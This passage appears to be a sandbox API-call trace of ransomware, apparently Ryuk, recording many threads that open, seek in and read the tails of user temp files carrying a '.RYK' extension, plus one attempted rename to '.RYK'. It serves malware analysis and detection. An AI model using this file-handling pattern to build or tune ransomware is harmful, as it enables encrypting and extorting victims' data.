	[0276.739] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FD_LfsLgv.swf.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fd_lfslgv.swf.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa7c
	[0276.740] GetFileSizeEx (in: hFile=0xa7c, lpFileSize=0x96bf618 | out: lpFileSize=0x96bf618*=90146) returned 1
	[0276.740] GetFileSizeEx (in: hFile=0xa7c, lpFileSize=0x96bf628 | out: lpFileSize=0x96bf628*=90146) returned 1
	[0276.740] SetFilePointerEx (in: hFile=0xa7c, liDistanceToMove=0x15f00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.740] ReadFile (in: hFile=0xa7c, lpBuffer=0x96bf670, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x96bf5e0, lpOverlapped=0x0 | out: lpBuffer=0x96bf670*, lpNumberOfBytesRead=0x96bf5e0*=0x19, lpOverlapped=0x0) returned 1
	[0276.742] CloseHandle (hObject=0xa7c) returned 1

Thread:
	id = 3564
	os_tid = 0x3c54

	[0276.743] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fJGiIRlEOvBHcXPfy.pdf.RYK", dwFileAttributes=0x80) returned 1
	[0277.660] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fJGiIRlEOvBHcXPfy.pdf.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fjgiirleovbhcxpfy.pdf.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac0
	[0277.660] GetFileSizeEx (in: hFile=0xac0, lpFileSize=0xa2afbf8 | out: lpFileSize=0xa2afbf8*=64322) returned 1
	[0277.660] GetFileSizeEx (in: hFile=0xac0, lpFileSize=0xa2afc08 | out: lpFileSize=0xa2afc08*=64322) returned 1
	[0277.660] SetFilePointerEx (in: hFile=0xac0, liDistanceToMove=0xfa20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.660] ReadFile (in: hFile=0xac0, lpBuffer=0xa2afc50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa2afbc0, lpOverlapped=0x0 | out: lpBuffer=0xa2afc50*, lpNumberOfBytesRead=0xa2afbc0*=0x19, lpOverlapped=0x0) returned 1
	[0277.662] CloseHandle (hObject=0xac0) returned 1

Thread:
	id = 3565
	os_tid = 0x3c58

	[0276.755] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt", dwFileAttributes=0x80) returned 1
	[0276.755] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fxsapidebuglogfile.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.756] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.756] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fxsapidebuglogfile.txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\FXSAPIDebugLogFile.txt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fxsapidebuglogfile.txt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3566
	os_tid = 0x3c5c

	[0276.758] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\index.dat.RYK", dwFileAttributes=0x80) returned 1
	[0277.663] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\history.ie5\\index.dat.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac0
	[0277.663] GetFileSizeEx (in: hFile=0xac0, lpFileSize=0x8d9f8b8 | out: lpFileSize=0x8d9f8b8*=16674) returned 1
	[0277.663] GetFileSizeEx (in: hFile=0xac0, lpFileSize=0x8d9f8c8 | out: lpFileSize=0x8d9f8c8*=16674) returned 1
	[0277.663] SetFilePointerEx (in: hFile=0xac0, liDistanceToMove=0x4000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.663] ReadFile (in: hFile=0xac0, lpBuffer=0x8d9f910, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8d9f880, lpOverlapped=0x0 | out: lpBuffer=0x8d9f910*, lpNumberOfBytesRead=0x8d9f880*=0x19, lpOverlapped=0x0) returned 1
	[0277.665] CloseHandle (hObject=0xac0) returned 1

Thread:
	id = 3567
	os_tid = 0x3c60

	[0276.759] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\HM2Ftlx uiQ.png.RYK", dwFileAttributes=0x80) returned 1
	[0276.759] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\HM2Ftlx uiQ.png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\hm2ftlx uiq.png.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa84
	[0276.760] GetFileSizeEx (in: hFile=0xa84, lpFileSize=0x9a3fc98 | out: lpFileSize=0x9a3fc98*=43090) returned 1
	[0276.760] GetFileSizeEx (in: hFile=0xa84, lpFileSize=0x9a3fca8 | out: lpFileSize=0x9a3fca8*=43090) returned 1
	[0276.760] SetFilePointerEx (in: hFile=0xa84, liDistanceToMove=0xa730, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.760] ReadFile (in: hFile=0xa84, lpBuffer=0x9a3fcf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9a3fc60, lpOverlapped=0x0 | out: lpBuffer=0x9a3fcf0*, lpNumberOfBytesRead=0x9a3fc60*=0x19, lpOverlapped=0x0) returned 1
	[0276.762] CloseHandle (hObject=0xa84) returned 1

Thread:
	id = 3568
	os_tid = 0x3c64

	[0276.763] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\J_-R87.mkv.RYK", dwFileAttributes=0x80) returned 1
	[0276.764] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\J_-R87.mkv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\j_-r87.mkv.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa84
	[0276.764] GetFileSizeEx (in: hFile=0xa84, lpFileSize=0xa43f958 | out: lpFileSize=0xa43f958*=42978) returned 1
	[0276.764] GetFileSizeEx (in: hFile=0xa84, lpFileSize=0xa43f968 | out: lpFileSize=0xa43f968*=42978) returned 1
	[0276.764] SetFilePointerEx (in: hFile=0xa84, liDistanceToMove=0xa6c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.764] ReadFile (in: hFile=0xa84, lpBuffer=0xa43f9b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa43f920, lpOverlapped=0x0 | out: lpBuffer=0xa43f9b0*, lpNumberOfBytesRead=0xa43f920*=0x19, lpOverlapped=0x0) returned 1
	[0276.766] CloseHandle (hObject=0xa84) returned 1

Thread:
	id = 3569
	os_tid = 0x3c68

	[0276.767] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ki2c.avi.RYK", dwFileAttributes=0x80) returned 1
	[0276.768] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ki2c.avi.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ki2c.avi.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa84
	[0276.768] GetFileSizeEx (in: hFile=0xa84, lpFileSize=0x938fad8 | out: lpFileSize=0x938fad8*=16610) returned 1
	[0276.768] GetFileSizeEx (in: hFile=0xa84, lpFileSize=0x938fae8 | out: lpFileSize=0x938fae8*=16610) returned 1
	[0276.768] SetFilePointerEx (in: hFile=0xa84, liDistanceToMove=0x3fc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.768] ReadFile (in: hFile=0xa84, lpBuffer=0x938fb30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x938faa0, lpOverlapped=0x0 | out: lpBuffer=0x938fb30*, lpNumberOfBytesRead=0x938faa0*=0x19, lpOverlapped=0x0) returned 1
	[0276.770] CloseHandle (hObject=0xa84) returned 1

Thread:
	id = 3570
	os_tid = 0x3c6c

	[0276.771] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\l1ORf0q2ulaDN.bmp.RYK", dwFileAttributes=0x80) returned 1
	[0276.771] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\l1ORf0q2ulaDN.bmp.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\l1orf0q2uladn.bmp.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa84
	[0276.772] GetFileSizeEx (in: hFile=0xa84, lpFileSize=0x955fab8 | out: lpFileSize=0x955fab8*=5570) returned 1
	[0276.772] GetFileSizeEx (in: hFile=0xa84, lpFileSize=0x955fac8 | out: lpFileSize=0x955fac8*=5570) returned 1
	[0276.772] SetFilePointerEx (in: hFile=0xa84, liDistanceToMove=0x14a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0276.772] ReadFile (in: hFile=0xa84, lpBuffer=0x955fb10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x955fa80, lpOverlapped=0x0 | out: lpBuffer=0x955fb10*, lpNumberOfBytesRead=0x955fa80*=0x19, lpOverlapped=0x0) returned 1
	[0276.773] CloseHandle (hObject=0xa84) returned 1

Thread:
	id = 3571
	os_tid = 0x3c70

	[0277.131] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\lQxu.png.RYK", dwFileAttributes=0x80) returned 1
	[0277.131] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\lQxu.png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lqxu.png.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa70
	[0277.131] GetFileSizeEx (in: hFile=0xa70, lpFileSize=0xa55fab8 | out: lpFileSize=0xa55fab8*=17010) returned 1
	[0277.132] GetFileSizeEx (in: hFile=0xa70, lpFileSize=0xa55fac8 | out: lpFileSize=0xa55fac8*=17010) returned 1
	[0277.132] SetFilePointerEx (in: hFile=0xa70, liDistanceToMove=0x4150, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.132] ReadFile (in: hFile=0xa70, lpBuffer=0xa55fb10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa55fa80, lpOverlapped=0x0 | out: lpBuffer=0xa55fb10*, lpNumberOfBytesRead=0xa55fa80*=0x19, lpOverlapped=0x0) returned 1
	[0277.134] CloseHandle (hObject=0xa70) returned 1

Thread:
	id = 3572
	os_tid = 0x3c78

	[0277.135] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LY6Qu.xls.RYK", dwFileAttributes=0x80) returned 1
	[0277.135] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LY6Qu.xls.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ly6qu.xls.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa70
	[0277.136] GetFileSizeEx (in: hFile=0xa70, lpFileSize=0x8f5f9f8 | out: lpFileSize=0x8f5f9f8*=3906) returned 1
	[0277.136] GetFileSizeEx (in: hFile=0xa70, lpFileSize=0x8f5fa08 | out: lpFileSize=0x8f5fa08*=3906) returned 1
	[0277.136] SetFilePointerEx (in: hFile=0xa70, liDistanceToMove=0xe20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.136] ReadFile (in: hFile=0xa70, lpBuffer=0x8f5fa50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f5f9c0, lpOverlapped=0x0 | out: lpBuffer=0x8f5fa50*, lpNumberOfBytesRead=0x8f5f9c0*=0x19, lpOverlapped=0x0) returned 1
	[0277.138] CloseHandle (hObject=0xa70) returned 1

Thread:
	id = 3573
	os_tid = 0x3c7c

	[0277.139] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\MJMk8.m4a.RYK", dwFileAttributes=0x80) returned 1
	[0277.139] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\MJMk8.m4a.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\mjmk8.m4a.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa70
	[0277.139] GetFileSizeEx (in: hFile=0xa70, lpFileSize=0x938fc38 | out: lpFileSize=0x938fc38*=25602) returned 1
	[0277.140] GetFileSizeEx (in: hFile=0xa70, lpFileSize=0x938fc48 | out: lpFileSize=0x938fc48*=25602) returned 1
	[0277.140] SetFilePointerEx (in: hFile=0xa70, liDistanceToMove=0x62e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.140] ReadFile (in: hFile=0xa70, lpBuffer=0x938fc90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x938fc00, lpOverlapped=0x0 | out: lpBuffer=0x938fc90*, lpNumberOfBytesRead=0x938fc00*=0x19, lpOverlapped=0x0) returned 1
	[0277.142] CloseHandle (hObject=0xa70) returned 1

Thread:
	id = 3574
	os_tid = 0x3c80

	[0277.143] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\P1dmCR7ieckSgIIeC9O9.pptx.RYK", dwFileAttributes=0x80) returned 1
	[0277.647] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\P1dmCR7ieckSgIIeC9O9.pptx.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\p1dmcr7iecksgiiec9o9.pptx.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa70
	[0277.647] GetFileSizeEx (in: hFile=0xa70, lpFileSize=0x94bf938 | out: lpFileSize=0x94bf938*=55778) returned 1
	[0277.647] GetFileSizeEx (in: hFile=0xa70, lpFileSize=0x94bf948 | out: lpFileSize=0x94bf948*=55778) returned 1
	[0277.647] SetFilePointerEx (in: hFile=0xa70, liDistanceToMove=0xd8c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.647] ReadFile (in: hFile=0xa70, lpBuffer=0x94bf990, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x94bf900, lpOverlapped=0x0 | out: lpBuffer=0x94bf990*, lpNumberOfBytesRead=0x94bf900*=0x19, lpOverlapped=0x0) returned 1
	[0277.649] CloseHandle (hObject=0xa70) returned 1

Thread:
	id = 3575
	os_tid = 0x3c84

	[0277.144] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qGOJS5U056zz.m4a.RYK", dwFileAttributes=0x80) returned 1
	[0277.144] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qGOJS5U056zz.m4a.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qgojs5u056zz.m4a.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xab8
	[0277.144] GetFileSizeEx (in: hFile=0xab8, lpFileSize=0x966fad8 | out: lpFileSize=0x966fad8*=91506) returned 1
	[0277.144] GetFileSizeEx (in: hFile=0xab8, lpFileSize=0x966fae8 | out: lpFileSize=0x966fae8*=91506) returned 1
	[0277.144] SetFilePointerEx (in: hFile=0xab8, liDistanceToMove=0x16450, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.145] ReadFile (in: hFile=0xab8, lpBuffer=0x966fb30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x966faa0, lpOverlapped=0x0 | out: lpBuffer=0x966fb30*, lpNumberOfBytesRead=0x966faa0*=0x19, lpOverlapped=0x0) returned 1
	[0277.146] CloseHandle (hObject=0xab8) returned 1

Thread:
	id = 3576
	os_tid = 0x3c88

	[0277.148] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qSjd7SgYFb_k4OKYS.mp3.RYK", dwFileAttributes=0x80) returned 1
	[0277.650] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qSjd7SgYFb_k4OKYS.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qsjd7sgyfb_k4okys.mp3.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xab8
	[0277.650] GetFileSizeEx (in: hFile=0xab8, lpFileSize=0x905f738 | out: lpFileSize=0x905f738*=96674) returned 1
	[0277.651] GetFileSizeEx (in: hFile=0xab8, lpFileSize=0x905f748 | out: lpFileSize=0x905f748*=96674) returned 1
	[0277.651] SetFilePointerEx (in: hFile=0xab8, liDistanceToMove=0x17880, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.651] ReadFile (in: hFile=0xab8, lpBuffer=0x905f790, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x905f700, lpOverlapped=0x0 | out: lpBuffer=0x905f790*, lpNumberOfBytesRead=0x905f700*=0x19, lpOverlapped=0x0) returned 1
	[0277.652] CloseHandle (hObject=0xab8) returned 1

Thread:
	id = 3577
	os_tid = 0x3c8c

	[0277.148] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\QwBhM.odt.RYK", dwFileAttributes=0x80) returned 1
	[0277.149] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\QwBhM.odt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qwbhm.odt.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xabc
	[0277.150] GetFileSizeEx (in: hFile=0xabc, lpFileSize=0x982f738 | out: lpFileSize=0x982f738*=61586) returned 1
	[0277.150] GetFileSizeEx (in: hFile=0xabc, lpFileSize=0x982f748 | out: lpFileSize=0x982f748*=61586) returned 1
	[0277.150] SetFilePointerEx (in: hFile=0xabc, liDistanceToMove=0xef70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.150] ReadFile (in: hFile=0xabc, lpBuffer=0x982f790, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x982f700, lpOverlapped=0x0 | out: lpBuffer=0x982f790*, lpNumberOfBytesRead=0x982f700*=0x19, lpOverlapped=0x0) returned 1
	[0277.152] CloseHandle (hObject=0xabc) returned 1

Thread:
	id = 3578
	os_tid = 0x3c90

	[0277.153] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RfdjvaFkFgE9qEv7bT.avi.RYK", dwFileAttributes=0x80) returned 1
	[0277.653] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RfdjvaFkFgE9qEv7bT.avi.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rfdjvafkfge9qev7bt.avi.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xabc
	[0277.654] GetFileSizeEx (in: hFile=0xabc, lpFileSize=0x998fbd8 | out: lpFileSize=0x998fbd8*=95730) returned 1
	[0277.654] GetFileSizeEx (in: hFile=0xabc, lpFileSize=0x998fbe8 | out: lpFileSize=0x998fbe8*=95730) returned 1
	[0277.654] SetFilePointerEx (in: hFile=0xabc, liDistanceToMove=0x174d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.654] ReadFile (in: hFile=0xabc, lpBuffer=0x998fc30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x998fba0, lpOverlapped=0x0 | out: lpBuffer=0x998fc30*, lpNumberOfBytesRead=0x998fba0*=0x19, lpOverlapped=0x0) returned 1
	[0277.655] CloseHandle (hObject=0xabc) returned 1

Thread:
	id = 3579
	os_tid = 0x3c94

	[0277.153] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rraEpi1SleocmER-.wav.RYK", dwFileAttributes=0x80) returned 1
